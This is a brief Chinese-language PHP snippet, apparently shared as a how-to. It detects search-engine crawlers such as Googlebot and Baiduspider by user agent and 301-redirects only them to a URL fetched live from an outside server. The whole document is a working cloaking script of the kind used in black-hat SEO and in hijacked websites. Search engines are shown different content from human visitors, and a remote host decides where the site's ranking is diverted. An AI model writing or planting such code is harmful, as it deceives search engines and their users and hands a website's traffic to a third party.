PHP根据蜘蛛判断进行301并且远程获取url函数代码如下:
function is_spider(){
// $_SERVER['HTTP_USER_AGENT'] 函数获取访问者的ua信息,可以先打印出来看看
$userAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
//定义蜘蛛ua标识
$spiders = array(
'Googlebot',
'Baiduspider',
'Yahoo! Slurp',
'YodaoBot',
'msnbot'
);
foreach ($spiders as $spider) {
$spider = strtolower($spider);
if (strpos($userAgent, $spider) !== false) {
$url="https://www.mshxw.com/geturl/url.php";
$data = file_get_contents($url);
header('HTTP/1.1 301 Moved Permanently');
header('Location:'.$data);
}
}
}
is_spider();


